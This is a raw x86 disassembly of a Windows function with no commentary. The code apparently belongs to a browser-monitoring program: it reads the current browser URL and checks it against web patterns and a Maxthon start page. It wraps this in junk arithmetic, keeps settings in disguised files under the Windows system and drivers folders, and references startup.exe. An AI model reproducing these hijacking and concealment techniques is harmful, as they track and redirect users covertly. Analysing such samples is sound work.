sar edx, 0xe
mov ebx, edx
add edi, edx
mov edx, ecx
imul edx, edx, 0x18161
shr ebx, 0x1f
add ebx, edi
add ebx, esi
add ebx, edx
mov eax, 0x80df83a9
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0x1100]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
push ecx
mov dword [0x45669c], ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [0x456690]
mov ecx, dword [0x4566a0]
imul edx, edx, 0xdd0b
mov esi, dword [0x45669c]
imul ecx, ecx, 0xffff5557
mov edi, dword [0x4566a4]
sub ecx, edx
mov eax, 0x55072b69
imul esi
sar edx, 0xf
add ecx, edx
mov ebx, edx
mov eax, 0x80df83a9
imul edi
add edx, edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45668c]
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x456688]
sub ebx, eax
add ebx, dword [str._r_____r____]
add ecx, ebx
mov eax, 0x95e7555
imul edx
sar edx, 9
mov ebx, esi
imul ebx, ebx, 0x36a6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov dword [0x456688], ecx
imul ecx, ecx, 0xb2d6
mov eax, 0x5bdd0ecb
imul edi
sar edx, 0xe
add ebx, ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x6000f003
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
sub ebx, ecx
add eax, edx
sub ebx, eax
mov dword [0x4566a4], ebx
mov eax, dword [ebp - 0x10e0]
mov ecx, dword [eax]
lea edx, [ebp - 0x10f4]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10f4]
push eax
call fcn.0041f9c0
mov ecx, dword [0x456690]
mov esi, dword [0x4566a8]
mov ebx, eax
imul esi, esi, 0xb25a
mov eax, 0x9524e185
imul ecx
add edx, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45669c]
mov eax, 0x5bdd0ecb
imul ecx
mov ecx, dword [0x456688]
sar edx, 0xe
imul ecx, ecx, 0x7f22
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4566a0]
sub esi, eax
add esi, ecx
sub esi, edx
sub esi, 0xdd0b
test ebx, ebx
mov dword [0x456690], esi
je 0x41c26d
mov edi, str.about:blank
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x41c26d
mov ecx, dword [0x4566a8]
mov eax, 0x6bb7d05b
imul ecx
sub edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov esi, ecx
mov ecx, dword [0x456694]
imul esi, esi, 0xdd0b
mov eax, 0x95e7555
imul ecx
mov eax, dword [0x4566a0]
imul eax, eax, 0xb2d6
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, esi
sub edi, ecx
mov ecx, dword [0x456698]
add edi, eax
mov eax, 0x14dc1615
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
push 1
mov dword [0x456698], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10e0]
mov ecx, dword [eax]
lea edx, [ebp - 0x10f4]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10f4]
push eax
call fcn.0041f9c0
mov ebx, eax
mov ecx, dword [0x45668c]
mov esi, dword [0x456698]
mov eax, 0x9524e185
imul esi, esi, 0x733f
imul ecx
add edx, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0xdbb5
push 4
sub esi, ecx
add esi, edx
push str.http
push ebx
mov dword [0x4566a0], esi
call fcn.0042aca0
add esp, 0xc
test eax, eax
je 0x41c4d9
push 4
push str.HTTP
push ebx
call fcn.0042aca0
add esp, 0xc
test eax, eax
je 0x41c4d9
push 4
push str.www.
push ebx
call fcn.0042aca0
add esp, 0xc
test eax, eax
je 0x41c4d9
push 4
push str.WWW.
push ebx
call fcn.0042aca0
add esp, 0xc
test eax, eax
je 0x41c4d9
push str.http:
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c354
push str.HTTP:
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c354
push str.www.
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c354
push str.WWW.
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
je 0x41c4d9
mov ecx, dword [0x456698]
mov esi, dword [0x456690]
mov eax, 0xb73ab967
imul esi, esi, 0xdcfc
imul ecx
mov eax, dword [0x4566a0]
add edx, ecx
imul eax, eax, 0x113b1
mov ecx, dword [str._r_____r____]
sar edx, 0xf
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
mov eax, 0x55072b69
imul ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
push str.http:
push ebx
mov dword [0x4566a8], edi
call fcn.00429d50
add esp, 8
test eax, eax
je 0x41c485
push str.http:
jmp 0x41c4ce
mov ecx, dword [0x45669c]
imul edi, edi, 0xdd0b
imul esi, esi, 0xffff5557
mov eax, 0x55072b69
imul ecx
mov ecx, dword [0x4566a4]
mov ebx, dword [0x456688]
sub esi, edi
sar edx, 0xf
mov edi, edx
add esi, edx
mov eax, 0x80df83a9
imul ecx
add edx, ecx
sar edx, 0xe
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
add edi, esi
sub edi, eax
add edi, dword [str._r_____r____]
add ebx, edi
push str.startup.exe
mov dword [0x456688], ebx
call fcn.0040bc50
add esp, 4
test eax, eax
jle 0x41b8ae
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 5
je 0x41c446
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 4
je 0x41c45a
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41c46e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x41d1c1
jmp 0x41d1bb
push str.HTTP:
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
je 0x41c49e
push str.HTTP:
jmp 0x41c4ce
push str.www.
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
je 0x41c4b7
push str.www.
jmp 0x41c4ce
push str.WWW.
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
je 0x41c4d9
push str.WWW.
push ebx
call fcn.00429d50
add esp, 8
mov ebx, eax
mov ecx, dword [0x45668c]
imul ecx, ecx, 0xdcfc
mov eax, 0x95e7555
imul dword [0x456694]
sar edx, 9
add ecx, edx
mov edi, edx
mov esi, dword [0x4566a8]
mov eax, 0x5bdd0ecb
imul esi, esi, 0x3117
imul dword [0x456690]
shr edi, 0x1f
add edi, ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x6000f003
imul dword [0x45669c]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
add edi, esi
mov edx, dword [str.fdfdadsafdfghfjkt]
mov dword [str._r_____r____], edi
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [0x447c30]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x447c2c]
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x4c0], eax
mov ax, word [0x447c38]
mov dword [ebp - 0x4c4], edx
mov edx, dword [0x447c34]
mov word [ebp - 0x4b4], ax
mov dword [ebp - 0x4b8], edx
xor eax, eax
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4566a0]
stosw word es:[edi], ax
imul ecx, ecx, 0xdcfc
mov eax, 0x95e7555
imul dword [0x456690]
sar edx, 9
add ecx, edx
mov edi, edx
shr edi, 0x1f
add edi, ecx
mov ecx, dword [0x45668c]
mov eax, 0xb73ab967
imul ecx
add edx, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add edi, edx
mov edx, dword [0x456694]
add ecx, edi
sub ecx, esi
sub ecx, edx
add ecx, 0xdbb5
mov esi, ebx
mov dword [0x45668c], ecx
lea edi, [esi + 1]
lea ecx, [ecx]
mov al, byte [esi]
inc esi
test al, al
jne 0x41c600
sub esi, edi
mov dword [ebp - 0x10f0], esi
je 0x41c748
push str.http:__
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c72d
push str.HTTP:__
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c72d
push str.www.
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c72d
push str.WWW.
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c72d
push str..COM
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c72d
push str..com
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c72d
push str..NET
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c72d
push str..net
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c72d
push str..ORG
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c72d
push str..org
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c72d
push 0x447be4
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c72d
push 0x447be0
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c72d
push str..htm
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c72d
push str..HTM
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
je 0x41c742
push ebx
lea edx, [ebp - 0x4c4]
push str.__s_
push edx
call fcn.00429ae1
add esp, 0xc
mov ecx, dword [0x45668c]
imul ecx, ecx, 0xdcfc
mov eax, 0x95e7555
imul dword [0x456694]
sar edx, 9
add ecx, edx
mov esi, edx
mov eax, 0x5bdd0ecb
imul dword [0x456690]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
shr esi, 0x1f
add esi, ecx
sub esi, eax
mov eax, dword [0x4566a8]
imul eax, eax, 0x3117
add esi, eax
mov eax, 0x6000f003
imul dword [0x45669c]
sar edx, 0xe
mov ecx, edx
push str.C:WINDOWS_system_sdax.txt
shr ecx, 0x1f
push 0x400
add ecx, edx
lea edx, [ebp - 0x8c4]
push edx
push 0x446e25
push str.rtgbh
sub esi, ecx
push str.asdf
mov dword [str._r_____r____], esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x41c908
mov eax, ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c7e0
sub eax, edx
mov dword [ebp - 0x10f0], eax
je 0x41c908
mov edi, str.about:blank
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x41c908
lea ecx, [ebp - 0x144]
push ecx
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c88b
lea edx, [ebp - 0x144]
push ebx
push edx
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c88b
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
lea ebx, [ebx]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x41c868
test al, al
je 0x41c864
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x41c868
add esi, 2
add edi, 2
test al, al
jne 0x41c840
xor eax, eax
jmp 0x41c86d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41c88b
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.00429d50
add esp, 8
test eax, eax
je 0x41c89f
lea edx, [ebp - 0x1c4]
push edx
push ebx
call fcn.00429d50
add esp, 8
test eax, eax
je 0x41c908
mov ecx, dword [0x456690]
mov esi, dword [0x45669c]
mov eax, 0x9524e185
imul ecx
add edx, ecx
mov ecx, dword [0x4566a8]
imul ecx, ecx, 0xb25a
sar edx, 0xf
mov ebx, dword [0x456688]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5bdd0ecb
imul esi
mov edi, dword [0x4566a0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x7f22
sub ecx, eax
add ecx, edx
sub ecx, edi
sub ecx, 0xdd0b
mov dword [0x456690], ecx
jmp 0x41c9bc
push 0
call fcn.0042a1da
mov ecx, dword [0x4566a8]
mov dword [0x56a7d8], eax
mov eax, 0x6bb7d05b
imul ecx
sub edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov esi, ecx
mov ecx, dword [0x456694]
imul esi, esi, 0xdd0b
mov eax, 0x95e7555
imul ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4566a0]
imul edx, edx, 0xb2d6
mov ebx, dword [0x56a7d4]
sub edi, esi
sub edi, ecx
mov ecx, dword [0x456698]
add edi, edx
mov eax, 0x14dc1615
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [ebp - 0x10c8]
add esp, 4
add eax, edi
mov dword [0x456698], eax
mov eax, dword [ebp - 0x10e0]
mov ecx, dword [eax]
push edx
inc ebx
push eax
mov dword [0x56a7d4], ebx
call dword [ecx + 0x9c]
mov ecx, dword [0x456690]
mov esi, dword [0x45669c]
mov ebx, dword [0x456688]
mov edi, dword [0x4566a0]
imul ecx, ecx, 0xdd0b
imul edi, edi, 0xffff5557
mov eax, 0x55072b69
imul esi
sub edi, ecx
sar edx, 0xf
mov ecx, edx
add edi, edx
shr ecx, 0x1f
add ecx, edi
mov edi, dword [0x4566a4]
mov eax, 0x80df83a9
imul edi
add edx, edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [str._r_____r____]
add ecx, eax
add ebx, ecx
mov ecx, dword [ebp - 0x10d0]
test ecx, ecx
mov dword [0x456688], ebx
je 0x41cf6d
lea edx, [ecx + 1]
mov dword [ebp - 0x10c8], edx
mov edi, edi
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x41ca20
sub ecx, dword [ebp - 0x10c8]
mov dword [ebp - 0x10c8], ecx
je 0x41cf6d
mov ecx, dword [0x45668c]
imul eax, eax, 0x36a6
imul ecx, ecx, 0xdcfc
add ecx, eax
mov eax, 0xb73ab967
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456698]
imul edx, edx, 0x7f22
sub ecx, eax
add ecx, edi
lea eax, [edx + ecx - 0xdd0b]
push 0xffffffffffffffff
push 0x55a3b8
lea ecx, [ebp - 0x1138]
mov dword [0x456694], eax
call fcn.00405d50
mov esi, dword [0x45668c]
mov ecx, dword [0x456698]
mov eax, 0x9524e185
imul ecx, ecx, 0x733f
imul esi
mov edi, dword [ebp - 0x10d0]
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0xdbb5
sub ecx, eax
add ecx, edx
mov byte [ebp - 4], 7
mov dword [0x4566a0], ecx
mov eax, 0x559bb0
mov bl, byte [edi]
mov dl, bl
cmp bl, byte [eax]
jne 0x41cafc
test dl, dl
je 0x41caf8
mov bl, byte [edi + 1]
mov dl, bl
cmp bl, byte [eax + 1]
jne 0x41cafc
add edi, 2
add eax, 2
test dl, dl
jne 0x41cad8
xor eax, eax
jmp 0x41cb01
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41cf4c
mov edx, dword [0x456690]
mov eax, 0x95e7555
imul edx
mov edi, ecx
imul edi, edi, 0xdcfc
sar edx, 9
add edi, edx
mov ebx, edx
mov eax, 0xb73ab967
imul esi
add edx, esi
shr ebx, 0x1f
sar edx, 0xf
add ebx, edi
mov edi, dword [ebp - 0x10d0]
mov esi, edx
shr esi, 0x1f
add ebx, edx
mov edx, dword [0x456694]
add esi, ebx
mov ebx, dword [0x4566a8]
mov eax, ebx
imul eax, eax, 0x3117
sub esi, eax
sub esi, edx
add esi, 0xdbb5
mov dword [0x45668c], esi
lea eax, [edi + 1]
lea esp, [esp]
mov dl, byte [edi]
inc edi
test dl, dl
jne 0x41cb70
sub edi, eax
cmp edi, 0x800
jae 0x41cb9f
mov ecx, dword [ebp - 0x10d0]
mov edx, 0x559bb0
lea esp, [esp]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41cb90
jmp 0x41cc27
mov eax, 0x6bb7d05b
imul ecx, ecx, 0xb2d6
imul ebx
sub edx, ebx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x95e7555
imul dword [0x456694]
mov esi, ebx
imul esi, esi, 0xdd0b
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, esi
sub edi, eax
mov eax, 0x14dc1615
imul dword [0x456698]
add edi, ecx
sar edx, 0xa
mov ecx, edx
add edi, edx
mov edx, dword [ebp - 0x10d0]
shr ecx, 0x1f
add ecx, edi
push 0x7ff
mov dword [0x456698], ecx
push edx
xor eax, eax
mov ecx, 0x200
mov edi, 0x559bb0
push 0x559bb0
rep stosd dword es:[edi], eax
call fcn.0042ab70
mov esi, dword [0x45668c]
add esp, 0xc
mov ecx, dword [0x45669c]
mov eax, 0x95e7555
imul esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456688]
mov edi, ecx
imul edx, edx, 0xb2d6
imul edi, edi, 0x36a6
sub edi, eax
add edi, edx
mov edx, dword [0x4566a4]
mov eax, 0x5bdd0ecb
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x6000f003
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov eax, 0x5592b0
mov dword [0x4566a4], edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41cc90
sub eax, ecx
cmp eax, 5
jbe 0x41cf4c
mov edx, dword [ebp - 0x10d0]
push str.ConfigL6
push edx
call fcn.004044e0
add esp, 8
test eax, eax
jne 0x41cf4c
mov ecx, dword [0x456698]
mov esi, dword [0x456690]
mov eax, 0xb73ab967
imul esi, esi, 0xdcfc
imul ecx
mov eax, dword [0x4566a0]
add edx, ecx
imul eax, eax, 0x113b1
mov ecx, dword [str._r_____r____]
sar edx, 0xf
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
mov eax, 0x55072b69
imul ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
push 0x132b600
mov dword [0x4566a8], edi
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 4
xor esi, esi
cmp esi, 0x64
jge 0x41cdbb
mov ecx, dword [0x456694]
mov edi, dword [0x45668c]
mov eax, 0x95e7555
imul edi, edi, 0xdcfc
imul ecx
mov ecx, dword [0x456690]
sar edx, 9
mov ebx, edx
add edi, edx
mov eax, 0x5bdd0ecb
imul ecx
mov ecx, dword [0x4566a8]
sar edx, 0xe
imul ecx, ecx, 0x3117
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ebx, 0x1f
add ebx, edi
sub ebx, eax
add ebx, ecx
mov ecx, dword [0x45669c]
mov eax, 0x6000f003
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
push 0x64
mov dword [str._r_____r____], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x5592b0
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41cda4
sub eax, ecx
mov dword [ebp - 0x10c8], eax
je 0x41cdbb
inc esi
jmp 0x41cd20
mov ecx, dword [0x456690]
mov esi, dword [0x4566a0]
mov eax, 0x95e7555
imul esi, esi, 0xdcfc
imul ecx
mov ecx, dword [0x45668c]
sar edx, 9
mov edi, edx
add esi, edx
mov eax, 0xb73ab967
imul ecx
add edx, ecx
sar edx, 0xf
shr edi, 0x1f
mov ecx, edx
add edi, esi
add edi, edx
mov edx, dword [0x4566a8]
imul edx, edx, 0x3117
push str.C:WINDOWS_system32driversetc_service5.ini
shr ecx, 0x1f
push 0x800
add ecx, edi
sub ecx, edx
mov edx, dword [0x456694]
lea eax, [ebp - 0x10c4]
push eax
push 0x446e25
sub ecx, edx
push str.ConfigL5
add ecx, 0xdbb5
push str.GameType1
mov dword [0x45668c], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov esi, dword [0x45668c]
mov ecx, dword [str._r_____r____]
imul esi, esi, 0xdcfc
imul ecx, ecx, 0x36a6
mov ebx, dword [0x4566a4]
add esi, ecx
mov ecx, dword [0x45669c]
mov eax, 0xb73ab967
imul ecx
add edx, ecx
mov ecx, dword [0x456698]
sar edx, 0xf
imul ecx, ecx, 0x7f22
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ebx
lea eax, [ebp - 0x10c4]
lea edx, [ecx + esi - 0xdd0b]
push eax
mov dword [0x456694], edx
call fcn.0042a1d5
inc eax
push eax
lea ecx, [ebp - 0x10c4]
push 0x446b00
push ecx
call fcn.00429ae1
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea edx, [ebp - 0x10c4]
push edx
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x456694]
mov eax, 0x5bdd0ecb
imul ecx
mov eax, dword [0x456690]
mov esi, ecx
imul esi, esi, 0xdd0b
sar edx, 0xe
mov edi, edx
shr edi, 0x1f
add esi, edx
add edi, esi
mov ecx, dword [0x45668c]
imul eax, eax, 0xaaa9
mov edx, ecx
imul edx, edx, 0x18161
mov esi, dword [0x5592a8]
add edi, eax
add edi, edx
mov eax, 0x80df83a9
imul ecx
add edx, ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
inc esi
push 0
mov dword [0x45669c], edi
mov dword [0x5592a8], esi
call fcn.0042a1da
add esp, 4
mov dword [0x5592ac], eax
lea ecx, [ebp - 0x1138]
mov byte [ebp - 4], 6
call fcn.00405de0
mov esi, dword [0x45669c]
mov ebx, dword [0x456688]
mov edi, dword [0x4566a4]
mov ecx, dword [0x45668c]
imul ebx, ebx, 0xb2d6
mov eax, esi
imul eax, eax, 0x36a6
mov dword [ebp - 0x10c8], eax
mov eax, 0x95e7555
imul ecx
mov eax, dword [ebp - 0x10c8]
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
add eax, ebx
mov ecx, eax
mov eax, 0x5bdd0ecb
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x6000f003
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
push ecx
mov dword [0x4566a4], ecx
mov ecx, dword [ebp - 0x10cc]
mov eax, esp
mov dword [eax], ecx
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov dword [ebp - 0x10c8], esp
je 0x41cff1
mov edx, dword [eax]
push eax
call dword [edx + 4]
mov ecx, 0x56a500
call fcn.00406bb0
mov eax, dword [0x456690]
mov esi, dword [0x4566a0]
imul eax, eax, 0xdd0b
mov ecx, dword [0x45669c]
imul esi, esi, 0xffff5557
sub esi, eax
mov eax, 0x55072b69
imul ecx
mov ecx, dword [0x4566a4]
mov ebx, dword [str._r_____r____]
sar edx, 0xf
add esi, edx
mov edi, edx
mov eax, 0x80df83a9
imul ecx
add edx, ecx
sar edx, 0xe
mov ecx, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x456688]
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x10cc]
sub edi, ecx
add edi, ebx
push 0
add esi, edi
push edx
mov dword [0x456688], esi
call fcn.00408960
mov ecx, dword [0x456690]
mov esi, dword [0x45669c]
mov eax, 0x9524e185
imul ecx
add edx, ecx
mov ecx, dword [0x4566a8]
imul ecx, ecx, 0xb25a
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5bdd0ecb
imul esi
mov edi, dword [0x4566a0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456688]
imul edx, edx, 0x7f22
sub ecx, eax
add ecx, edx
sub ecx, edi
add esp, 8
sub ecx, 0xdd0b
mov dword [0x456690], ecx
jmp 0x41d0e5
mov esi, dword [0x45669c]
mov ecx, dword [0x456690]
mov edi, dword [0x4566a0]
mov ebx, dword [0x4566a8]
imul edi, edi, 0xb2d6
mov eax, 0x6bb7d05b
imul ebx, ebx, 0xdd0b
imul dword [0x4566a8]
sub edx, dword [0x4566a8]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov ebx, eax
mov eax, 0x95e7555
imul dword [0x456694]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456698]
sub ebx, eax
mov eax, 0x14dc1615
imul edx
sar edx, 0xa
add ebx, edi
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [0x456698], eax
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 5
je 0x41d16d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x456690]
mov esi, dword [0x45669c]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 4
je 0x41d18d
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x456690]
mov esi, dword [0x45669c]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41d1ad
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x456690]
mov esi, dword [0x45669c]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x41d1cd
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x456690]
mov esi, dword [0x45669c]
mov eax, dword [ebp - 0x10e8]
mov ebx, dword [0x4566a8]
inc eax
mov dword [ebp - 0x10e8], eax
jmp 0x41b16c
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 0
je 0x41d1f9
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [0x45668c]
mov ecx, dword [0x456698]
mov eax, 0x9524e185
imul ecx, ecx, 0x733f
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [str._r_____r____]
imul eax, eax, 0xdbb5
add ecx, eax
mov eax, dword [ebp - 0x10ec]
mov dword [0x4566a0], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.00429911
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret